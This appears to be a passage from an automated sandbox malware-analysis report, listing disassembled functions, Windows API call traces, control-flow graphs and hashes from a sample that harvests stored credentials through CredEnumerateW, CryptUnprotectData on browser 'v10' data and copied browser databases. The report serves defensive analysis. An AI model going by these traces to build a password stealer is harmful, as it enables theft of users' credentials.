                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 0041358F
                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 004135A1
                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtQueryObject), ref: 004135B3
                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtSuspendProcess), ref: 004135C5
                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtResumeProcess), ref: 004135D7
                                                                                            • NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                                                                                            • CloseHandle.KERNELBASE(C0000004,?,000000FF,00000000,00000104), ref: 0040DE3E
                                                                                            • GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                                                                                            • _wcsicmp.MSVCRT ref: 0040DEB2
                                                                                            • _wcsicmp.MSVCRT ref: 0040DEC5
                                                                                            • _wcsicmp.MSVCRT ref: 0040DED8
                                                                                            • OpenProcess.KERNEL32(00000040,00000000,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DEEC
                                                                                            • GetCurrentProcess.KERNEL32(C0000004,80000000,00000000,00000002,?,000000FF,00000000,00000104), ref: 0040DF32
                                                                                            • DuplicateHandle.KERNELBASE(00000104,?,00000000,?,000000FF,00000000,00000104), ref: 0040DF41
                                                                                            • memset.MSVCRT ref: 0040DF5F
                                                                                            • CloseHandle.KERNEL32(C0000004,?,?,?,?,000000FF,00000000,00000104), ref: 0040DF92
                                                                                            • _wcsicmp.MSVCRT ref: 0040DFB2
                                                                                            • CloseHandle.KERNEL32(00000104,?,000000FF,00000000,00000104), ref: 0040DFF2
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressProc$Handle$_wcsicmp$CloseProcess$CurrentFileModulememset$??2@CreateDuplicateInformationNameOpenQuerySystem
                                                                                            • String ID: dllhost.exe$taskhost.exe$taskhostex.exe
                                                                                            • API String ID: 708747863-3398334509
                                                                                            • Opcode ID: 5cab624b8928eaf00a06d38b2ee3d6eb31f92f98f3d88623932f7a2009947366
                                                                                            • Instruction ID: 75e999e9478e2cd8c236028a88c267773407d5e0538ee9298daa3020847ac7a6
                                                                                            • Opcode Fuzzy Hash: 5cab624b8928eaf00a06d38b2ee3d6eb31f92f98f3d88623932f7a2009947366
                                                                                            • Instruction Fuzzy Hash: 57818F71D00209AFEB10EF95CC81AAEBBB5FF04345F20407AF915B6291DB399E95CB58
                                                                                            Function 00418758 Relevance: 4.6, APIs: 3, Instructions: 79COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00418680: GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                                                                                              • Part of subcall function 00418680: malloc.MSVCRT ref: 004186B7
                                                                                              • Part of subcall function 00418680: free.MSVCRT ref: 004186C7
                                                                                              • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                            • GetDiskFreeSpaceW.KERNELBASE(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187D2
                                                                                            • GetDiskFreeSpaceA.KERNEL32(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187FA
                                                                                            • free.MSVCRT ref: 00418803
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: DiskFreeSpacefree$FullNamePathVersionmalloc
                                                                                            • String ID:
                                                                                            • API String ID: 1355100292-0
                                                                                            • Opcode ID: 7494654f5416982ac8b8eb6095e1b911d56786f256e13b4958c27deb7a97d588
                                                                                            • Instruction ID: 9f5aa8738ec5ca8fa6c7af21032fcab0d24b7c3e7281463e4f88d86f77cdc7da
                                                                                            • Opcode Fuzzy Hash: 7494654f5416982ac8b8eb6095e1b911d56786f256e13b4958c27deb7a97d588
                                                                                            • Instruction Fuzzy Hash: 2A218776904118AEEB11EBA4CC849EF77BCEF05704F2404AFE551D7181EB784EC58769
                                                                                            Function 00404423 Relevance: 4.6, APIs: 3, Instructions: 51libraryencryptionloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(C:\Windows\system32,00000104), ref: 0040A841
                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000), ref: 0040A87B
                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 00404453
                                                                                            • FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Library$Load$AddressCryptDataDirectoryFreeProcSystemUnprotectmemsetwcscatwcscpy
                                                                                            • String ID:
                                                                                            • API String ID: 767404330-0
                                                                                            • Opcode ID: 91f5c8417cc05eb5371089ee99512099cd95d68580e827c1857cd6a30ed1daf0
                                                                                            • Instruction ID: e973b1bd6c29085855c002f2d91bff7161adaf38cfdf5e3d51a6561f1cc66020
                                                                                            • Opcode Fuzzy Hash: 91f5c8417cc05eb5371089ee99512099cd95d68580e827c1857cd6a30ed1daf0
                                                                                            • Instruction Fuzzy Hash: D90192B1100211AAD6319FA6CC04D1BFAE9EFC0750B20883FF1D9E25A0D7B49881DB69
                                                                                            Function 0040AE51 Relevance: 3.0, APIs: 2, Instructions: 39fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindFirstFileW.KERNELBASE(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE67
                                                                                            • FindNextFileW.KERNELBASE(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE83
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: FileFind$FirstNext
                                                                                            • String ID:
                                                                                            • API String ID: 1690352074-0
                                                                                            • Opcode ID: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                                                                                            • Instruction ID: bc213c2af839868520f9a45b85e911a0cf9bcc257b6b56acf9ba21b23a9e6198
                                                                                            • Opcode Fuzzy Hash: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                                                                                            • Instruction Fuzzy Hash: 34F0C877040B005BD761C774D8489C733D89F84320B20063EF56AD32C0EB3899098755
                                                                                            Function 00418981 Relevance: 3.0, APIs: 2, Instructions: 28COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0041898C
                                                                                            • GetSystemInfo.KERNELBASE(004725C0,?,00000000,004439D6,?,00445FAE,?,?,?,?,?,?), ref: 00418995
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: InfoSystemmemset
                                                                                            • String ID:
                                                                                            • API String ID: 3558857096-0
                                                                                            • Opcode ID: 1cb27ac447f4cf033b6cba199a5ddcb1fdd974c12d9e405e28a5f35c0eb83b67
                                                                                            • Instruction ID: bf8bfd662ffca2911032058da6995c9eeb4a28626cb6ee34ade21af96d3a2c90
                                                                                            • Opcode Fuzzy Hash: 1cb27ac447f4cf033b6cba199a5ddcb1fdd974c12d9e405e28a5f35c0eb83b67
                                                                                            • Instruction Fuzzy Hash: C0E06531A0163097F22077766C067DF25949F41395F04407BB9049A186EBAC4D8546DE
                                                                                            Function 0044553B Relevance: 44.5, APIs: 23, Strings: 2, Instructions: 758COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 0 44553b-445558 call 44db70 3 445599-4455a2 0->3 4 44555a-44557c call 40c768 call 40bdb0 call 4135f7 0->4 5 4455a8-4455e3 memset call 403988 wcsrchr 3->5 6 4457fb 3->6 40 44558e-445594 call 444b06 4->40 41 44557e-44558c call 4136c0 call 41366b 4->41 19 4455e5 5->19 20 4455e8-4455f9 5->20 10 445800-445809 6->10 11 445856-44585f 10->11 12 44580b-44581e call 40a889 call 403e2d 10->12 15 445861-445874 call 40a889 call 403c9c 11->15 16 4458ac-4458b5 11->16 42 445823-445826 12->42 49 445879-44587c 15->49 21 44594f-445958 16->21 22 4458bb-44592b memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 16->22 19->20 23 445672-445683 call 40a889 call 403fbe 20->23 24 4455fb-445601 20->24 35 4459f2-4459fa 21->35 36 44595e-4459ce memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 21->36 135 44592d-445945 call 40b6ef 22->135 136 44594a 22->136 84 445685 23->84 85 4456b2-4456b5 call 40b1ab 23->85 29 445605-445607 24->29 30 445603 24->30 29->23 38 445609-44560d 29->38 30->29 44 445a00-445aa1 memset * 2 call 414c2e call 40b2cc call 409d1f call 40b2cc call 40ae18 35->44 45 445b29-445b32 35->45 153 4459d0-4459e8 call 40b6ef 36->153 154 4459ed 36->154 38->23 48 44560f-445641 call 4087b3 call 40a889 call 4454bf 38->48 40->3 41->40 51 44584c-445854 call 40b1ab 42->51 52 445828 42->52 182 445b08-445b15 call 40ae51 44->182 53 445c7c-445c85 45->53 54 445b38-445b96 memset * 3 45->54 150 445665-445670 call 40b1ab 48->150 151 445643-445663 call 40a9b5 call 4087b3 48->151 64 4458a2-4458aa call 40b1ab 49->64 65 44587e 49->65 51->11 67 44582e-445847 call 40a9b5 call 4087b3 52->67 61 445d1c-445d25 53->61 62 445c8b-445cf3 memset * 2 call 414c2e call 409d1f call 409b98 53->62 68 445bd4-445c72 call 414c2e call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 54->68 69 445b98-445ba0 54->69 73 445fae-445fb2 61->73 74 445d2b-445d3b 61->74 168 445cf5 62->168 169 445cfc-445d03 62->169 64->16 81 445884-44589d call 40a9b5 call 4087b3 65->81 138 445849 67->138 247 445c77 68->247 69->68 83 445ba2-445bcf call 4099c6 call 445403 call 445389 69->83 90 445d3d-445d65 call 409c52 call 40b2cc _wcsicmp 74->90 91 445d88-445e15 memset * 3 call 414c2e call 40b2cc call 409d1f call 409b98 74->91 156 44589f 81->156 83->53 100 44568b-4456a4 call 40a9b5 call 4087b3 84->100 104 4456ba-4456c4 85->104 162 445d67-445d6c 90->162 163 445d71-445d83 call 445093 90->163 196 445e17 91->196 197 445e1e-445e25 91->197 158 4456a9-4456b0 100->158 118 4457f9 104->118 119 4456ca-4456d3 call 413cfa call 413d4c 104->119 118->6 172 4456d8-4456f7 call 40b2cc call 413fa6 119->172 135->136 136->21 138->51 150->104 151->150 153->154 154->35 156->64 158->85 158->100 174 445fa1-445fa9 call 40b6ef 162->174 163->73 168->169 179 445d05-445d13 169->179 180 445d17 169->180 206 4456fd-445796 memset * 4 call 409c70 * 3 172->206 207 4457ea-4457f7 call 413d29 172->207 174->73 179->180 180->61 200 445b17-445b27 call 40aebe 182->200 201 445aa3-445ab0 call 40add4 182->201 196->197 202 445e27-445e59 call 40b2cc call 409d1f call 409b98 197->202 203 445e6b-445e7e call 445093 197->203 200->45 201->182 219 445ab2-445b03 memset call 40b2cc call 409d1f call 445389 201->219 242 445e62-445e69 202->242 243 445e5b 202->243 218 445f67-445f99 call 40b2cc call 409d1f call 409b98 203->218 206->207 246 445798-4457ca call 40b2cc call 409d1f call 409b98 206->246 207->10 218->73 253 445f9b 218->253 219->182 242->203 248 445e83-445ef5 memset call 40b2cc call 409d1f call 40ae18 242->248 243->242 246->207 265 4457cc-4457e5 call 4087b3 246->265 247->53 264 445f4d-445f5a call 40ae51 248->264 253->174 269 445ef7-445f04 call 40add4 264->269 270 445f5c-445f62 call 40aebe 264->270 265->207 269->264 274 445f06-445f38 call 40b2cc call 409d1f call 409b98 269->274 270->218 274->264 281 445f3a-445f48 call 445093 274->281 281->264
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 004455C2
                                                                                            • wcsrchr.MSVCRT ref: 004455DA
                                                                                            • memset.MSVCRT ref: 0044570D
                                                                                            • memset.MSVCRT ref: 00445725
                                                                                              • Part of subcall function 0040C768: _wcslwr.MSVCRT ref: 0040C817
                                                                                              • Part of subcall function 0040C768: wcslen.MSVCRT ref: 0040C82C
                                                                                              • Part of subcall function 0040BDB0: CredEnumerateW.ADVAPI32(00000000,00000000,?,?,?,00000000,?), ref: 0040BDE9
                                                                                              • Part of subcall function 0040BDB0: wcslen.MSVCRT ref: 0040BE06
                                                                                              • Part of subcall function 0040BDB0: wcsncmp.MSVCRT ref: 0040BE38
                                                                                              • Part of subcall function 0040BDB0: memset.MSVCRT ref: 0040BE91
                                                                                              • Part of subcall function 0040BDB0: memcpy.MSVCRT(?,?,?,00000001,?,?,?,00000000,?), ref: 0040BEB2
                                                                                              • Part of subcall function 004135F7: GetProcAddress.KERNEL32(?,00000000), ref: 0041362A
                                                                                            • memset.MSVCRT ref: 0044573D
                                                                                            • memset.MSVCRT ref: 00445755
                                                                                            • memset.MSVCRT ref: 004458CB
                                                                                            • memset.MSVCRT ref: 004458E3
                                                                                            • memset.MSVCRT ref: 0044596E
                                                                                            • memset.MSVCRT ref: 00445A10
                                                                                            • memset.MSVCRT ref: 00445A28
                                                                                            • memset.MSVCRT ref: 00445AC6
                                                                                              • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                              • Part of subcall function 00445093: GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                                                                                              • Part of subcall function 00445093: ??2@YAPAXI@Z.MSVCRT(0000000A,?,?,00000104), ref: 004450BE
                                                                                              • Part of subcall function 00445093: memset.MSVCRT ref: 004450CD
                                                                                              • Part of subcall function 00445093: ??3@YAXPAX@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,00000104), ref: 004450F0
                                                                                              • Part of subcall function 00445093: CloseHandle.KERNEL32(00000000,?,?,00000104), ref: 004450F7
                                                                                            • memset.MSVCRT ref: 00445B52
                                                                                            • memset.MSVCRT ref: 00445B6A
                                                                                            • memset.MSVCRT ref: 00445C9B
                                                                                            • memset.MSVCRT ref: 00445CB3
                                                                                            • _wcsicmp.MSVCRT ref: 00445D56
                                                                                            • memset.MSVCRT ref: 00445B82
                                                                                              • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                                                                                              • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                                                                                              • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                                                                                              • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                                                                                              • Part of subcall function 0040B6EF: CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                                                                                              • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040ADF3
                                                                                              • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040AE04
                                                                                            • memset.MSVCRT ref: 00445986
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,0040DAEA,?,0040DBA1,00000000,?,00000000,00000208,?), ref: 00409B9C
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$wcslen$File$wcscmpwcsrchr$??2@??3@AddressAttributesCloseCreateCredEnumerateFolderHandlePathProcSizeSpecial_wcsicmp_wcslwrmemcpywcscatwcscpywcsncmp
                                                                                            • String ID: *.*$Apple Computer\Preferences\keychain.plist
                                                                                            • API String ID: 1963886904-3798722523
                                                                                            • Opcode ID: 4107367e6a52814d16d978fdb1f2ed27fa2de906a3c2bdd9af1925875ae5045e
                                                                                            • Instruction ID: 0d822d17a5609fa1e1b699618fc72e24fb48bc28b5d87ede4d5502c71e25afa2
                                                                                            • Opcode Fuzzy Hash: 4107367e6a52814d16d978fdb1f2ed27fa2de906a3c2bdd9af1925875ae5045e
                                                                                            • Instruction Fuzzy Hash: ED4278B29005196BEB10E761DD46EDFB37CEF45358F1001ABF508A2193EB385E948B9A
                                                                                            Function 0041276D Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 149COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                              • Part of subcall function 004044A4: LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,00412785,00000000,?,00000002,?,0044688C,00000000,?,0000000A), ref: 004044C3
                                                                                              • Part of subcall function 004044A4: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004044D5
                                                                                              • Part of subcall function 004044A4: FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,00412785,00000000,?,00000002,?,0044688C,00000000,?,0000000A), ref: 004044E9
                                                                                              • Part of subcall function 004044A4: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                                                                                            • SetErrorMode.KERNELBASE(00008001,00000000,?,00000002,?,0044688C,00000000,?,0000000A), ref: 00412799
                                                                                            • GetModuleHandleW.KERNEL32(00000000,0041493C,00000000,?,00000002,?,0044688C,00000000,?,0000000A), ref: 004127B2
                                                                                            • EnumResourceTypesW.KERNEL32(00000000,?,00000002), ref: 004127B9
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes
                                                                                            • String ID: $/deleteregkey$/savelangfile
                                                                                            • API String ID: 2744995895-28296030
                                                                                            • Opcode ID: fcad638c039a134244896b453c320ca2d1027186d3b9ab8085e6916e84848b7d
                                                                                            • Instruction ID: bb1d383b9f388563dc7403a66819e695bb2bbb53a4e653fbe84b6d7681309d95
                                                                                            • Opcode Fuzzy Hash: fcad638c039a134244896b453c320ca2d1027186d3b9ab8085e6916e84848b7d
                                                                                            • Instruction Fuzzy Hash: FC51BEB1608346ABD710AFA6DD88A9F77ECFF81304F40092EF644D2161D778E8558B2A
                                                                                            Function 0040B6EF Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 388fileCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0040B71C
                                                                                              • Part of subcall function 00409C70: wcscpy.MSVCRT ref: 00409C75
                                                                                              • Part of subcall function 00409C70: wcsrchr.MSVCRT ref: 00409C7D
                                                                                            • wcsrchr.MSVCRT ref: 0040B738
                                                                                            • memset.MSVCRT ref: 0040B756
                                                                                            • memset.MSVCRT ref: 0040B7F5
                                                                                            • CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                                                                                            • CopyFileW.KERNEL32(00445FAE,?,00000000,?,?), ref: 0040B82D
                                                                                            • CloseHandle.KERNELBASE(00000000,?,?), ref: 0040B838
                                                                                            • memset.MSVCRT ref: 0040B851
                                                                                            • memset.MSVCRT ref: 0040B8CA
                                                                                            • memcmp.MSVCRT(?,v10,00000003), ref: 0040B9BF
                                                                                              • Part of subcall function 00404423: GetProcAddress.KERNEL32(?,00000000), ref: 00404453
                                                                                              • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                              • Part of subcall function 00404423: CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                                                                                            • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0040BAE5
                                                                                            • memset.MSVCRT ref: 0040BB53
                                                                                            • memcpy.MSVCRT(?,00000000,?,00000000,00000000,?), ref: 0040BB66
                                                                                            • LocalFree.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 0040BB8D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$File$Freewcsrchr$AddressCloseCopyCreateCryptDataDeleteHandleLibraryLocalProcUnprotectmemcmpmemcpywcscpy
                                                                                            • String ID: chp$v10
                                                                                            • API String ID: 1297422669-2783969131
                                                                                            • Opcode ID: 544f7529f0c4d3a53e9c457f8d9cabf322a2e4b31897d0a2c4cc607292de5a12
                                                                                            • Instruction ID: 8b5aa87907ec6e815121f1c024adfc7170cbdef62e19f7af032d1a0a82a34a86
                                                                                            • Opcode Fuzzy Hash: 544f7529f0c4d3a53e9c457f8d9cabf322a2e4b31897d0a2c4cc607292de5a12
                                                                                            • Instruction Fuzzy Hash: 32D17372900218AFEB11EB95DC41EEE77B8EF44304F1044BAF509B7191DB789F858B99
                                                                                            Function 0040E2AB Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 165COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 504 40e2ab-40e2ce call 40695d call 406b90 508 40e2d3-40e2d5 504->508 509 40e4a0-40e4af call 4069a3 508->509 510 40e2db-40e300 508->510 511 40e304-40e316 call 406e8f 510->511 516 40e476-40e483 call 406b53 511->516 517 40e31c-40e39b call 40dd50 * 7 memset call 40aa29 511->517 523 40e302 516->523 524 40e489-40e495 call 40aa04 516->524 541 40e3c9-40e3ce 517->541 542 40e39d-40e3ae call 40742e 517->542 523->511 524->509 529 40e497-40e49f free 524->529 529->509 544 40e3d0-40e3d6 541->544 545 40e3d9-40e3de 541->545 551 40e3b0 542->551 552 40e3b3-40e3c1 wcschr 542->552 544->545 547 40e3e0-40e3f1 memcpy 545->547 548 40e3f4-40e3f9 545->548 547->548 549 40e3fb-40e40c memcpy 548->549 550 40e40f-40e414 548->550 549->550 553 40e416-40e427 memcpy 550->553 554 40e42a-40e42f 550->554 551->552 552->541 555 40e3c3-40e3c6 552->555 553->554 556 40e431-40e442 memcpy 554->556 557 40e445-40e44a 554->557 555->541 556->557 558 40e44c-40e45b 557->558 559 40e45e-40e463 557->559 558->559 559->516 560 40e465-40e469 559->560 560->516 561 40e46b-40e473 560->561 561->516
                                                                                            APIs
                                                                                              • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                                                                                              • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                                                                                            • free.MSVCRT ref: 0040E49A
                                                                                              • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                                                                                            • memset.MSVCRT ref: 0040E380
                                                                                              • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                                                                                              • Part of subcall function 0040AA29: memcpy.MSVCRT(?,?,00000000,00000001,00401B3C,Function_0004E518,?,00000001,00401B95,?,00401EE4), ref: 0040AA5B
                                                                                            • wcschr.MSVCRT ref: 0040E3B8
                                                                                            • memcpy.MSVCRT(?,-00000121,00000008,Function_0004E518,00000000,00000000,756F2EE0), ref: 0040E3EC
                                                                                            • memcpy.MSVCRT(?,-00000121,00000008,Function_0004E518,00000000,00000000,756F2EE0), ref: 0040E407
                                                                                            • memcpy.MSVCRT(?,-00000220,00000008,Function_0004E518,00000000,00000000,756F2EE0), ref: 0040E422
                                                                                            • memcpy.MSVCRT(?,-00000220,00000008,Function_0004E518,00000000,00000000,756F2EE0), ref: 0040E43D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
